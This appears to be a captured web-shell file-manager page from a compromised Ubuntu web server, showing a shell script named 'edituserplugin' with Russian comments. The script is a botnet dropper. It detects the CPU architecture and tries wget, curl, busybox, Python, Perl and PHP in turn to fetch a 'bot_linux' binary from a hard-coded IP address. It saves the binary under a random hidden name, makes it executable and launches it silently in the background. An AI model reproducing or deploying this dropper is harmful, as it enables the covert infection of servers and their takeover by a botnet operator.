HEX
Server: Apache/2.4.52 (Ubuntu)
System: Linux ismtj.co 5.15.0-179-generic #189-Ubuntu SMP Tue May 5 18:20:56 UTC 2026 x86_64
User: sarbon.tj (1759)
PHP: 8.1.2-1ubuntu2.23
Disabled: NONE
Upload Files
File: /var/www/sarbon.tj/data/www/sarbon.tj/edituserplugin
#!/bin/sh

# Определяем архитектуру
ARCH=$(uname -m 2>/dev/null || echo "x86_64")
case $ARCH in
    x86_64|amd64)   ARCH="x86_64" ;;
    i686|i386|i586) ARCH="x86_32" ;;
    aarch64|arm64)  ARCH="aarch64" ;;
    armv7l|armv6l)  ARCH="arm" ;;
    *)              ARCH="x86_32" ;;
esac

# Текущая папка (где лежит скрипт)
DIR="$(cd "$(dirname "$0")" && pwd)"
URL="http://141.98.11.207:80/dl/bot_linux_$ARCH"
OUT="$DIR/.$(head /dev/urandom | tr -dc a-z0-9 | head -c8)"

# Функция скачивания с таймаутом
try_download() {
    timeout 15 sh -c "$1" 2>/dev/null
    [ -s "$OUT" ]
}

# Пробуем все методы по очереди
try_download "wget -q -T 10 -O '$OUT' '$URL'" ||
try_download "curl -s --connect-timeout 5 --max-time 15 -o '$OUT' '$URL'" ||
try_download "busybox wget -q -T 10 -O '$OUT' '$URL'" ||
try_download "python3 -c \"import urllib.request; urllib.request.urlretrieve('$URL', '$OUT')\"" ||
try_download "python -c \"import urllib; urllib.urlretrieve('$URL', '$OUT')\"" ||
try_download "perl -e \"use LWP::Simple; getstore('$URL', '$OUT')\"" ||
try_download "php -r \"file_put_contents('$OUT', file_get_contents('$URL'));\""

# Если скачался — запускаем
if [ -s "$OUT" ]; then
    chmod +x "$OUT"
    nohup "$OUT" >/dev/null 2>&1 &
fi